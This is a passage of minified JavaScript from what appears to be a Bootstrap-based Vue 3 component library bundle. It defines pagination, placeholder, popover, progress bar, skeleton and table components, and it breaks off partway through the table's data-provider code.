n&&u.value&&r>f.value-3&&(n=!1),n}),g=(0,o.Kh)({pageSize:vh(e.perPage),totalRows:mh(e.totalRows),numberOfPages:f.value}),y=(n,r)=>{if(r===e.modelValue)return;const{target:a}=n,o=new hs(\"page-click\",{cancelable:!0,vueTarget:this,target:a});t(\"page-click\",o,r),!o.defaultPrevented&&t(\"update:modelValue\",r)},b=(0,a.EW)(()=>e.size?`pagination-${e.size}`:\"\"),$=(0,a.EW)(()=>d.value?\"b-pagination-pills\":\"\");(0,a.wB)(()=>e.modelValue,n=>{const r=gh(n,f.value);r!==e.modelValue&&t(\"update:modelValue\",r)}),(0,a.wB)(g,(n,r)=>{null!=n&&(r.pageSize!==n.pageSize&&r.totalRows===n.totalRows||r.numberOfPages!==n.numberOfPages&&e.modelValue>r.numberOfPages)&&t(\"update:modelValue\",1)});const w=(0,a.EW)(()=>{const e=[];for(let t=0;t\u003Cv.value;t++)e.push({number:p.value+t,classes:null});return e});return()=>{const t=[],o=w.value.map(e=>e.number),l=t=>t===e.modelValue,d=e.modelValue\u003C1,p=\"fill\"===e.align,v=(t,o,i,s,u,c)=>{const h=r.value||l(c)||d||t\u003C1||t>f.value,v=t\u003C1?1:t>f.value?f.value:t,m={disabled:h,page:v,index:v-1},g=ru(i,m,n)||s||\"\";return(0,a.h)(\"li\",{class:[\"page-item\",{disabled:h,\"flex-fill\":p,\"d-flex\":p&&!h},u]},(0,a.h)(h?\"span\":\"button\",{class:[\"page-link\",{\"flex-grow-1\":!h&&p}],\"aria-label\":o,\"aria-controls\":e.ariaControls||null,\"aria-disabled\":h?\"true\":null,role:\"menuitem\",type:h?null:\"button\",tabindex:h?null:\"-1\",onClick:e=>{h||y(e,v)}},g))},g=t=>(0,a.h)(\"li\",{class:[\"page-item\",\"disabled\",\"bv-d-xs-down-none\",p?\"flex-fill\":\"\",e.ellipsisClass],role:\"separator\",key:\"ellipsis-\"+(t?\"last\":\"first\")},[(0,a.h)(\"span\",{class:[\"page-link\"]},ru(uh,{},n)||e.ellipsisText||\"...\")]),_=(t,o)=>{const i=l(t.number)&&!d,s=r.value?null:i||d&&0===o?\"0\":\"-1\",u={active:i,disabled:r.value,page:t.number,index:t.number-1,content:t.number},c=ru(ph,u,n)||t.number,f=(0,a.h)(r.value?\"span\":\"button\",{class:[\"page-link\",{\"flex-grow-1\":!r.value&&p}],\"aria-controls\":e.ariaControls||null,\"aria-disabled\":r.value?\"true\":null,\"aria-label\":e.labelPage?`${e.labelPage} ${t.number}`:null,role:\"menuitemradio\",type:r.value?null:\"button\",tabindex:s,onClick:e=>{r.value||y(e,t.number)}},c);return(0,a.h)(\"li\",{class:[\"page-item\",{disabled:r.value,active:i,\"flex-fill\":p,\"d-flex\":p&&!r.value},e.pageClass],role:\"presentation\",key:`page-${t.number}`},f)};if(!s.value&&!i.value){const n=v(1,e.labelFirstPage,dh,e.firstText,e.firstClass,1);t.push(n)}const k=v(e.modelValue-1,e.labelFirstPage,hh,e.prevText,e.prevClass,1);t.push(k),i.value&&1!==o[0]&&t.push(_({number:1},0)),h.value&&t.push(g(!1)),w.value.forEach((e,n)=>{const r=h.value&&i.value&&1!==o[0]?1:0;t.push(_(e,n+r))}),m.value&&t.push(g(!0)),u.value&&o[o.length-1]!==f.value&&t.push(_({number:f.value},-1));const C=v(e.modelValue+1,e.labelNextPage,fh,e.nextText,e.nextClass,f.value);if(t.push(C),!u.value&&!s.value){const n=v(f.value,e.labelLastPage,ch,e.lastText,e.lastClass,f.value);t.push(n)}return(0,a.h)(\"ul\",{class:[\"pagination\",b.value,c.value,$.value],role:\"menubar\",\"aria-disabled\":r.value,\"aria-label\":e.ariaLabel||null},t)}}}),bh=(0,a.pM)({__name:\"BPlaceholder\",props:{tag:{default:\"span\"},width:null,cols:null,variant:null,size:null,animation:null},setup(e){const t=e,n=(0,a.EW)(()=>void 0===t.width?void 0:\"number\"==typeof t.width?t.width.toString():t.width.includes(\"%\")?t.width.replaceAll(\"%\",\"\"):t.width),r=(0,a.EW)(()=>void 0===t.cols?void 0:\"number\"==typeof t.cols?t.cols.toString():t.cols),l=(0,a.EW)(()=>({[`col-${r.value}`]:void 0!==r.value&&void 0===n.value,[`bg-${t.variant}`]:void 0!==t.variant,[`placeholder-${t.size}`]:void 0!==t.size,[`placeholder-${t.animation}`]:void 0!==t.animation})),s=(0,a.EW)(()=>void 0===n.value?void 0:`width: ${n.value}%;`);return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"placeholder\",(0,o.R1)(l)]),style:(0,i.Tr)((0,o.R1)(s))},null,8,[\"class\",\"style\"]))}}),$h=(0,a.pM)({__name:\"BPlaceholderButton\",props:{tag:{default:\"div\"},width:null,cols:null,variant:{default:\"primary\"},animation:null},setup(e){const t=e,n=(0,a.EW)(()=>[\"btn\",`btn-${t.variant}`,\"disabled\"]),r=(0,a.EW)(()=>({animation:t.animation,width:t.width,cols:t.cols,tag:t.tag}));return(e,t)=>((0,a.uX)(),(0,a.Wv)(bh,(0,a.v6)({class:(0,o.R1)(n)},(0,o.R1)(r)),null,16,[\"class\"]))}}),wh=(0,a.pM)({__name:\"BPlaceholderCard\",props:{noHeader:{default:!1},headerWidth:{default:100},headerVariant:null,headerAnimation:null,headerSize:null,noFooter:{default:!1},footerWidth:{default:100},footerVariant:null,footerAnimation:null,footerSize:null,animation:null,size:null,variant:null,noButton:{default:!1},imgBottom:{default:!1},imgSrc:null,imgBlankColor:{default:\"#868e96\"},imgHeight:{default:100},noImg:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"noButton\")),r=cu((0,o.lW)(t,\"noHeader\")),l=cu((0,o.lW)(t,\"noFooter\")),s=cu((0,o.lW)(t,\"noImg\")),u=cu((0,o.lW)(t,\"imgBottom\")),d=(0,a.EW)(()=>({width:t.headerWidth,variant:t.headerVariant,animation:t.headerAnimation,size:t.headerSize})),c=(0,a.EW)(()=>({width:t.footerWidth,animation:t.footerAnimation,size:n.value?t.footerSize:void 0,variant:t.footerVariant})),f=(0,a.EW)(()=>({blank:!t.imgSrc,blankColor:t.imgBlankColor,height:t.imgSrc?void 0:t.imgHeight,src:t.imgSrc,top:!u.value,bottom:u.value}));return(e,t)=>((0,a.uX)(),(0,a.Wv)(Gd,{\"img-bottom\":(0,o.R1)(u)},(0,a.eX)({default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.bF)(bh,{cols:\"7\"}),(0,a.bF)(bh,{cols:\"4\"}),(0,a.bF)(bh,{cols:\"4\"}),(0,a.bF)(bh,{cols:\"6\"}),(0,a.bF)(bh,{cols:\"8\"})])]),_:2},[(0,o.R1)(s)?void 0:{name:\"img\",fn:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"img\",{},()=>[(0,a.bF)(Nd,(0,i._B)((0,a.Ng)((0,o.R1)(f))),null,16)])]),key:\"0\"},(0,o.R1)(r)?void 0:{name:\"header\",fn:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"header\",{},()=>[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(d))),null,16)])]),key:\"1\"},(0,o.R1)(l)?void 0:{name:\"footer\",fn:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"footer\",{},()=>[(0,o.R1)(n)?((0,a.uX)(),(0,a.Wv)(bh,(0,i._B)((0,a.v6)({key:1},(0,o.R1)(c))),null,16)):((0,a.uX)(),(0,a.Wv)($h,(0,i._B)((0,a.v6)({key:0},(0,o.R1)(c))),null,16))])]),key:\"2\"}]),1032,[\"img-bottom\"]))}}),_h=(0,a.pM)({__name:\"BTableSimple\",props:{bordered:{default:!1},borderless:{default:!1},borderVariant:null,captionTop:{default:!1},dark:{default:!1},hover:{default:!1},responsive:{type:[Boolean,String],default:!1},stacked:{type:[Boolean,String],default:!1},striped:{default:!1},small:{default:!1},tableClass:null,tableVariant:null,stickyHeader:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"captionTop\")),r=cu((0,o.lW)(t,\"borderless\")),l=cu((0,o.lW)(t,\"bordered\")),s=cu((0,o.lW)(t,\"dark\")),u=cu((0,o.lW)(t,\"hover\")),d=cu((0,o.lW)(t,\"small\")),c=cu((0,o.lW)(t,\"striped\")),f=cu((0,o.lW)(t,\"stickyHeader\")),p=(0,a.EW)(()=>[\"table\",\"b-table\",{\"table-bordered\":l.value,\"table-borderless\":r.value,[`border-${t.borderVariant}`]:void 0!==t.borderVariant,\"caption-top\":n.value,\"table-dark\":s.value,\"table-hover\":u.value,\"b-table-stacked\":\"boolean\"==typeof t.stacked&&t.stacked,[`b-table-stacked-${t.stacked}`]:\"string\"==typeof t.stacked,\"table-striped\":c.value,\"table-sm\":d.value,[`table-${t.tableVariant}`]:void 0!==t.tableVariant},t.tableClass]),h=(0,a.EW)(()=>[{\"table-responsive\":!0===t.responsive,[`table-responsive-${t.responsive}`]:\"string\"==typeof t.responsive,\"b-table-sticky-header\":f.value}]);return(t,n)=>e.responsive?((0,a.uX)(),(0,a.CE)(\"div\",{key:1,class:(0,i.C4)((0,o.R1)(h))},[(0,a.Lk)(\"table\",{role:\"table\",class:(0,i.C4)((0,o.R1)(p))},[(0,a.RG)(t.$slots,\"default\")],2)],2)):((0,a.uX)(),(0,a.CE)(\"table\",{key:0,role:\"table\",class:(0,i.C4)((0,o.R1)(p))},[(0,a.RG)(t.$slots,\"default\")],2))}}),kh=(0,a.pM)({__name:\"BPlaceholderTable\",props:{rows:{default:3},columns:{default:5},cellWidth:{default:100},size:null,animation:null,variant:null,headerColumns:null,hideHeader:{default:!1},headerCellWidth:{default:100},headerSize:null,headerAnimation:null,headerVariant:null,footerColumns:null,showFooter:{default:!1},footerCellWidth:{default:100},footerSize:null,footerAnimation:null,footerVariant:null},setup(e){const t=e,n=(0,a.EW)(()=>\"string\"==typeof t.columns?ou(t.columns,5):t.columns),r=(0,a.EW)(()=>\"string\"==typeof t.rows?ou(t.rows,3):t.rows),l=(0,a.EW)(()=>void 0===t.headerColumns?n.value:\"string\"==typeof t.headerColumns?ou(t.headerColumns,n.value):t.headerColumns),s=(0,a.EW)(()=>void 0===t.footerColumns?n.value:\"string\"==typeof t.footerColumns?ou(t.footerColumns,n.value):t.footerColumns),u=(0,a.EW)(()=>({size:t.size,variant:t.variant,animation:t.animation,width:t.cellWidth})),d=(0,a.EW)(()=>({size:t.headerSize,variant:t.headerVariant,animation:t.headerAnimation,width:t.headerCellWidth})),c=(0,a.EW)(()=>({size:t.footerSize,variant:t.footerVariant,animation:t.footerAnimation,width:t.footerCellWidth})),f=cu((0,o.lW)(t,\"hideHeader\")),p=cu((0,o.lW)(t,\"showFooter\"));return(e,t)=>((0,a.uX)(),(0,a.Wv)(_h,null,{default:(0,a.k6)(()=>[(0,o.R1)(f)?(0,a.Q3)(\"\",!0):(0,a.RG)(e.$slots,\"thead\",{key:0},()=>[(0,a.Lk)(\"thead\",null,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(l),(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(d))),null,16)]))),128))])])]),(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.Lk)(\"tbody\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(r),(e,t)=>((0,a.uX)(),(0,a.CE)(\"tr\",{key:t},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(n),(e,t)=>((0,a.uX)(),(0,a.CE)(\"td\",{key:t},[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(u))),null,16)]))),128))]))),128))])]),(0,o.R1)(p)?(0,a.RG)(e.$slots,\"tfoot\",{key:1},()=>[(0,a.Lk)(\"tfoot\",null,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)((0,o.R1)(s),(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(bh,(0,i._B)((0,a.Ng)((0,o.R1)(c))),null,16)]))),128))])])]):(0,a.Q3)(\"\",!0)]),_:3}))}}),Ch=(0,a.pM)({__name:\"BPlaceholderWrapper\",props:{loading:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"loading\"));return(e,n)=>(0,o.R1)(t)?(0,a.RG)(e.$slots,\"loading\",{key:0}):(0,a.RG)(e.$slots,\"default\",{key:1})}}),xh=(0,a.pM)({props:{container:{type:[String,Object],default:\"body\"},content:{type:String},id:{type:String},customClass:{type:String,default:\"\"},noninteractive:{type:[Boolean,String],default:!1},placement:{type:String,default:\"right\"},target:{type:[String,Object],default:void 0},title:{type:String},delay:{type:[Number,Object],default:0},triggers:{type:String,default:\"click\"},show:{type:[Boolean,String],default:!1},variant:{type:String,default:void 0},html:{type:[Boolean,String],default:!0},sanitize:{type:[Boolean,String],default:!1},offset:{type:String,default:\"0\"}},emits:[\"show\",\"shown\",\"hide\",\"hidden\",\"inserted\"],setup(e,{emit:t,slots:n}){cu((0,o.lW)(e,\"noninteractive\"));const r=cu((0,o.lW)(e,\"show\")),i=cu((0,o.lW)(e,\"html\")),l=cu((0,o.lW)(e,\"sanitize\")),s=(0,o.KR)(),u=(0,o.KR)(),d=(0,o.KR)(),c=(0,o.KR)(),f=(0,o.KR)(),p=(0,a.EW)(()=>({[`b-popover-${e.variant}`]:void 0!==e.variant})),h=e=>\"string\"==typeof e||e instanceof HTMLElement?e:typeof e\u003C\"u\"?e.$el:void 0,v=e=>{if(e){if(\"string\"==typeof e){const t=document.getElementById(e);return t||void 0}return e}},m=t=>{u.value=v(h(t)),u.value&&(d.value=new Xi(u.value,{customClass:e.customClass,container:h(e.container),trigger:e.triggers,placement:e.placement,title:e.title||n.title?c.value:\"\",content:f.value,html:i.value,delay:e.delay,sanitize:l.value,offset:e.offset}))};return(0,a.sV)(()=>{var t,n,o;(0,a.dY)(()=>{m(e.target)}),null==(n=null==(t=s.value)?void 0:t.parentNode)||n.removeChild(s.value),r.value&&(null==(o=d.value)||o.show())}),(0,a.xo)(()=>{var e;null==(e=d.value)||e.dispose()}),(0,a.wB)(()=>e.target,e=>{var t;null==(t=d.value)||t.dispose(),m(e)}),(0,a.wB)(()=>r.value,(e,t)=>{var n,r;e!==t&&(e?null==(n=d.value)||n.show():null==(r=d.value)||r.hide())}),mu(u,\"show.bs.popover\",()=>t(\"show\")),mu(u,\"shown.bs.popover\",()=>t(\"shown\")),mu(u,\"hide.bs.popover\",()=>t(\"hide\")),mu(u,\"hidden.bs.popover\",()=>t(\"hidden\")),mu(u,\"inserted.bs.popover\",()=>t(\"inserted\")),{element:s,titleRef:c,contentRef:f,classes:p}}}),Sh=[\"id\"],Eh={ref:\"titleRef\"},Th={ref:\"contentRef\"};function Rh(e,t,n,r,o,l){return(0,a.uX)(),(0,a.CE)(\"div\",{id:e.id,ref:\"element\",class:(0,i.C4)([\"popover b-popover\",e.classes]),role:\"tooltip\",tabindex:\"-1\"},[(0,a.Lk)(\"div\",Eh,[(0,a.RG)(e.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])],512),(0,a.Lk)(\"div\",Th,[(0,a.RG)(e.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)(e.content),1)])],512)],10,Sh)}const Oh=vd(xh,[[\"render\",Rh]]),Mh=[\"aria-valuenow\",\"aria-valuemax\"],Ah=(0,a.pM)({__name:\"BProgressBar\",props:{animated:{default:!1},label:null,labelHtml:null,max:null,precision:{default:0},showProgress:{default:!1},showValue:{default:!1},striped:{default:!1},value:{default:0},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"animated\")),r=cu((0,o.lW)(t,\"showProgress\")),l=cu((0,o.lW)(t,\"showValue\")),s=cu((0,o.lW)(t,\"striped\")),u=(0,a.WQ)(Dh),d=(0,a.EW)(()=>({\"progress-bar-animated\":n.value||(null==u?void 0:u.animated),\"progress-bar-striped\":s.value||(null==u?void 0:u.striped)||n.value||(null==u?void 0:u.animated),[`bg-${t.variant}`]:void 0!==t.variant})),c=(0,a.EW)(()=>\"number\"==typeof t.precision?t.precision:Number.parseFloat(t.precision)),f=(0,a.EW)(()=>\"number\"==typeof t.value?t.value:Number.parseFloat(t.value)),p=(0,a.EW)(()=>\"number\"==typeof t.max?t.max:void 0===t.max?void 0:Number.parseFloat(t.max)),h=(0,a.EW)(()=>void 0!==t.labelHtml?t.labelHtml:l.value||(null==u?void 0:u.showValue)?f.value.toFixed(c.value):r.value||(null==u?void 0:u.showProgress)?(100*f.value\u002F(p.value||100)).toFixed(c.value):void 0!==t.label?t.label:\"\"),v=(0,a.EW)(()=>null!=u&&u.max?100*f.value\u002F(\"number\"==typeof u.max?u.max:Number.parseInt(u.max))+\"%\":t.max?100*f.value\u002F(\"number\"==typeof t.max?t.max:Number.parseInt(t.max))+\"%\":\"string\"==typeof t.value?t.value:`${t.value}%`);return(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"progress-bar\",(0,o.R1)(d)]),role:\"progressbar\",\"aria-valuenow\":e.value,\"aria-valuemin\":\"0\",\"aria-valuemax\":e.max,style:(0,i.Tr)({width:(0,o.R1)(v)})},[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.eW)((0,i.v_)((0,o.R1)(h)),1)])],14,Mh))}}),Dh=Symbol(),Bh=(0,a.pM)({__name:\"BProgress\",props:{variant:null,max:null,height:null,animated:{default:!1},precision:{default:0},showProgress:{default:!1},showValue:{default:!1},striped:{default:!1},value:{default:0}},setup(e){const t=e,n=cu((0,o.lW)(t,\"animated\")),r=cu((0,o.lW)(t,\"showProgress\")),l=cu((0,o.lW)(t,\"showValue\")),s=cu((0,o.lW)(t,\"striped\")),u=(0,a.EW)(()=>({animated:n.value,max:t.max,precision:t.precision,showProgress:r.value,showValue:l.value,striped:s.value,value:t.value,variant:t.variant}));return(0,a.Gt)(Dh,{animated:n.value,max:t.max,showProgress:r.value,showValue:l.value,striped:s.value}),(t,n)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:\"progress\",style:(0,i.Tr)({height:e.height})},[(0,a.RG)(t.$slots,\"default\",{},()=>[(0,a.bF)(Ah,(0,i._B)((0,a.Ng)((0,o.R1)(u))),null,16)])],4))}}),Wh=Qs(\"cols\",[\"\"],{type:[String,Number],default:null}),Ph=(0,a.pM)({name:\"BRow\",props:{tag:{type:String,default:\"div\"},gutterX:{type:String,default:null},gutterY:{type:String,default:null},noGutters:{type:[Boolean,String],default:!1},alignV:{type:String,default:null},alignH:{type:String,default:null},alignContent:{type:String,default:null},...Wh},setup(e){const t=cu((0,o.lW)(e,\"noGutters\")),n=Zs(e,Wh,\"cols\",\"row-cols\");return{classes:(0,a.EW)(()=>({[`gx-${e.gutterX}`]:null!==e.gutterX,[`gy-${e.gutterY}`]:null!==e.gutterY,\"g-0\":t.value,[`align-items-${e.alignV}`]:null!==e.alignV,[`justify-content-${e.alignH}`]:null!==e.alignH,[`align-content-${e.alignContent}`]:null!==e.alignContent})),rowColsClasses:n}}});function Ih(e,t,n,r,o,l){return(0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:(0,i.C4)([\"row\",[e.classes,e.rowColsClasses]])},{default:(0,a.k6)(()=>[(0,a.RG)(e.$slots,\"default\")]),_:3},8,[\"class\"])}const Nh=vd(Ph,[[\"render\",Ih]]),Lh=(0,a.pM)({__name:\"BSkeleton\",props:{height:null,width:null,size:null,animation:{default:\"wave\"},type:{default:\"text\"},variant:null},setup(e){const t=e,n=(0,a.EW)(()=>[`b-skeleton-${t.type}`,{[`b-skeleton-animate-${t.animation}`]:\"boolean\"!=typeof t.animation&&t.animation,[`bg-${t.variant}`]:void 0!==t.variant}]),r=(0,a.EW)(()=>({width:t.size||t.width,height:t.size||t.height}));return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"b-skeleton\",(0,o.R1)(n)]),style:(0,i.Tr)((0,o.R1)(r))},null,6))}}),jh=(0,a.pM)({__name:\"BSkeletonIcon\",props:{animation:{default:\"wave\"}},setup(e){const t=e,n=(0,a.EW)(()=>[`b-skeleton-animate-${t.animation}`]);return(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",{class:(0,i.C4)([\"b-skeleton-icon-wrapper position-relative d-inline-block overflow-hidden\",(0,o.R1)(n)])},[(0,a.RG)(e.$slots,\"default\")],2))}}),Fh={key:0},Vh={key:1},Uh=(0,a.pM)({__name:\"BSkeletonTable\",props:{animation:{default:\"wave\"},columns:{default:5},hideHeader:{default:!1},rows:{default:3},showFooter:{default:!1},tableProps:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"hideHeader\")),r=cu((0,o.lW)(t,\"showFooter\"));return(t,l)=>((0,a.uX)(),(0,a.Wv)(_h,(0,i._B)((0,a.Ng)(e.tableProps)),{default:(0,a.k6)(()=>[(0,o.R1)(n)?(0,a.Q3)(\"\",!0):((0,a.uX)(),(0,a.CE)(\"thead\",Fh,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.columns,(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(Lh)]))),128))])])),(0,a.Lk)(\"tbody\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.rows,(t,n)=>((0,a.uX)(),(0,a.CE)(\"tr\",{key:n},[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.columns,(e,t)=>((0,a.uX)(),(0,a.CE)(\"td\",{key:t},[(0,a.bF)(Lh,{width:\"75%\"})]))),128))]))),128))]),(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(\"tfoot\",Vh,[(0,a.Lk)(\"tr\",null,[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(e.columns,(e,t)=>((0,a.uX)(),(0,a.CE)(\"th\",{key:t},[(0,a.bF)(Lh)]))),128))])])):(0,a.Q3)(\"\",!0)]),_:1},16))}}),Xh=(0,a.pM)({__name:\"BSkeletonWrapper\",props:{loading:{default:!1}},setup(e){const t=cu((0,o.lW)(e,\"loading\"));return(e,n)=>(0,o.R1)(t)?(0,a.RG)(e.$slots,\"loading\",{key:0}):(0,a.RG)(e.$slots,\"default\",{key:1})}}),Hh=()=>{const e=(e,t)=>{const n=[];return null!=e&&e.length||!(null==t?void 0:t.length)?(Array.isArray(e)&&e.forEach(e=>{\"string\"==typeof e?n.push({key:e,label:Ss(e)}):vs(e)&&e.key&&\"string\"==typeof e.key&&n.push({...e})}),n):(Object.keys(t[0]).forEach(e=>n.push({key:e,label:Ss(e)})),n)},t=(0,o.KR)([]),n=(e,n,o,l)=>{if(t.value=fs(n),\"isFilterableTable\"in l&&!0===l.isFilterableTable.value&&o.filter&&(t.value=i(t.value,o.filter,o.filterable),r.value&&r.value(t.value)),\"isSortable\"in l&&!0===l.isSortable.value&&(t.value=a(e,t.value,{key:o.sortBy,desc:l.sortDescBoolean.value},o.sortCompare)),void 0!==o.perPage){const e=(o.currentPage-1)*o.perPage;t.value=t.value.splice(e,o.perPage)}return t.value},r=(0,o.KR)(void 0),a=(e,t,n,r)=>{if(!n||!n.key)return t;const a=n.key;return t.sort((e,t)=>{if(void 0!==r)return r(e,t,n.key,n.desc);const o=e=>\"object\"==typeof e?JSON.stringify(e):e;return o(e[a])>o(t[a])?n.desc?-1:1:o(t[a])>o(e[a])?n.desc?1:-1:0})},i=(e,t,n)=>e.filter(e=>Object.entries(e).filter(e=>{const[r,a]=e;return!(\"_\"===r[0]||n.length>0&&!n.includes(r))&&(\"object\"==typeof a?JSON.stringify(Object.values(a)):\"string\"==typeof a?a:a.toString()).toLowerCase().includes(t.toLowerCase())}).length>0);return{normaliseFields:e,mapItems:n,internalItems:t,updateInternalItems:async e=>{try{return t.value=await ps(e),t.value}catch{return}},filterEvent:r}},Gh=[\"title\",\"abbr\",\"onClick\"],Yh={class:\"d-inline-flex flex-nowrap align-items-center gap-1\"},zh={key:0,class:\"b-table-sort-icon text-muted small\"},Kh={key:1},qh=[\"onClick\",\"onDblclick\",\"onMouseenter\",\"onMouseleave\"],Qh=[\"colspan\"],Zh=[\"colspan\"],Jh={class:\"d-flex align-items-center justify-content-center gap-2\"},ev=(0,a.Lk)(\"strong\",null,\"Loading...\",-1),tv={key:1,class:\"b-table-empty-slot\"},nv=[\"colspan\"],rv={key:0},av=[\"title\",\"abbr\",\"onClick\"],ov={key:1},iv={key:2},lv={key:3},sv=(0,a.pM)({__name:\"BTable\",props:{align:null,caption:null,captionTop:{default:!1},borderless:{default:!1},bordered:{default:!1},borderVariant:null,dark:{default:!1},fields:{default:()=>[]},footClone:{default:!1},hover:{default:!1},items:{default:()=>[]},provider:null,sortCompare:null,noProvider:null,noProviderPaging:null,noProviderSorting:null,noProviderFiltering:null,responsive:{type:[Boolean,String],default:!1},small:{default:!1},striped:{default:!1},variant:null,sortBy:null,sortDesc:{default:!1},sortInternal:{default:!0},selectable:{default:!1},stickySelect:{default:!1},selectHead:{type:[Boolean,String],default:!0},selectMode:{default:\"single\"},selectionVariant:{default:\"primary\"},stickyHeader:{default:!1},busy:{default:!1},showEmpty:{default:!1},perPage:null,currentPage:{default:1},filter:null,filterable:null,emptyText:{default:\"There are no records to show\"},emptyFilteredText:{default:\"There are no records matching your request\"}},emits:[\"headClicked\",\"rowClicked\",\"rowDblClicked\",\"rowHovered\",\"rowUnhovered\",\"rowSelected\",\"rowUnselected\",\"selection\",\"update:busy\",\"update:sortBy\",\"update:sortDesc\",\"sorted\",\"filtered\"],setup(e,{expose:t,emit:n}){const r=e,l=cu((0,o.lW)(r,\"footClone\")),s=cu((0,o.lW)(r,\"sortDesc\")),u=cu((0,o.lW)(r,\"sortInternal\")),d=cu((0,o.lW)(r,\"selectable\")),c=cu((0,o.lW)(r,\"stickySelect\")),f=cu((0,o.lW)(r,\"busy\")),p=cu((0,o.lW)(r,\"showEmpty\")),h=cu((0,o.lW)(r,\"showEmpty\")),v=cu((0,o.lW)(r,\"showEmpty\")),m=cu((0,o.lW)(r,\"showEmpty\")),g=(0,o.KR)(f.value),y=(0,a.Ht)(),b=(0,a.EW)(()=>({[`align-${r.align}`]:void 0!==r.align,\"b-table-selectable\":d.value,[`b-table-select-${r.selectMode}`]:d.value,\"b-table-selecting user-select-none\":d.value&&N.value,\"b-table-busy\":g.value,\"b-table-sortable\":W.value,\"b-table-sort-desc\":W.value&&!0===s.value,\"b-table-sort-asc\":W.value&&!1===s.value})),$=(0,a.EW)(()=>({bordered:r.bordered,borderless:r.borderless,borderVariant:r.borderVariant,captionTop:r.captionTop,dark:r.dark,hover:r.hover,responsive:r.responsive,striped:r.striped,small:r.small,tableClass:b.value,tableVariant:r.variant,stickyHeader:r.stickyHeader})),w=Hh();w.filterEvent.value=async e=>{if(x.value)return void await F();const t=await ps(e);n(\"filtered\",t)};const _=(0,a.EW)(()=>w.normaliseFields(r.fields,r.items)),k=(0,a.EW)(()=>_.value.length+(d.value?1:0)),C=(0,a.EW)(()=>void 0!==r.filter&&\"\"!==r.filter),x=(0,a.EW)(()=>void 0!==r.provider),S=(0,a.EW)(()=>W.value&&!0===u.value),E=(0,a.EW)(()=>x.value?w.internalItems.value:S.value?w.mapItems(r.fields,r.items,r,{isSortable:W,isFilterableTable:C,sortDescBoolean:s}):r.items),T=e=>\"string\"==typeof e?Es(e):void 0!==e.label?e.label:\"string\"==typeof e.key?Es(e.key):e.key,R=(e,t,r=!1)=>{const a=\"string\"==typeof e?e:e.key;n(\"headClicked\",a,e,t,r),P(e)},O=(e,t,r)=>{n(\"rowClicked\",e,t,r),j(e,t,r.shiftKey)},M=(e,t,r)=>n(\"rowDblClicked\",e,t,r),A=(e,t,r)=>n(\"rowHovered\",e,t,r),D=(e,t,r)=>n(\"rowUnhovered\",e,t,r),B=(0,a.EW)(()=>d.value&&(!!r.selectHead||void 0!==y.selectHead)),W=(0,a.EW)(()=>r.fields.filter(e=>\"string\"!=typeof e&&e.sortable).length>0),P=e=>{if(!W.value)return;const t=\"string\"==typeof e?e:e.key,a=\"string\"!=typeof e&&e.sortable;if(!0===W.value&&!0===a){const e=!s.value;t!==r.sortBy&&n(\"update:sortBy\",t),n(\"update:sortDesc\",e),n(\"sorted\",t,e)}},I=(0,o.KR)(new Set([])),N=(0,a.EW)(()=>I.value.size>0),L=()=>{!d.value||n(\"selection\",Array.from(I.value))},j=(e,t,a=!1)=>{if(d.value){if(I.value.has(e))I.value.delete(e),n(\"rowUnselected\",e);else if(\"single\"===r.selectMode&&I.value.size>0&&(I.value.forEach(e=>n(\"rowUnselected\",e)),I.value.clear()),\"range\"===r.selectMode&&I.value.size>0&&a){const e=Array.from(I.value).pop(),r=E.value.findIndex(t=>t===e),a=Math.min(r,t),o=Math.max(r,t);E.value.slice(a,o+1).forEach(e=>{I.value.has(e)||(I.value.add(e),n(\"rowSelected\",e))})}else I.value.add(e),n(\"rowSelected\",e);L()}},F=async()=>{if(!x.value||!r.provider||g.value)return;g.value=!0;const e=new Proxy({currentPage:r.currentPage,filter:r.filter,sortBy:r.sortBy,sortDesc:r.sortDesc,perPage:r.perPage},{get(e,t){return t in e?e[t]:void 0},set(){return console.error(\"BTable provider context is a read-only object.\"),!0}}),t=r.provider(e,w.updateInternalItems);if(void 0!==t){if(t instanceof Promise)try{const e=await t;return Array.isArray(e)?await w.updateInternalItems(e):void 0}finally{g.value&&(g.value=!1)}try{return await 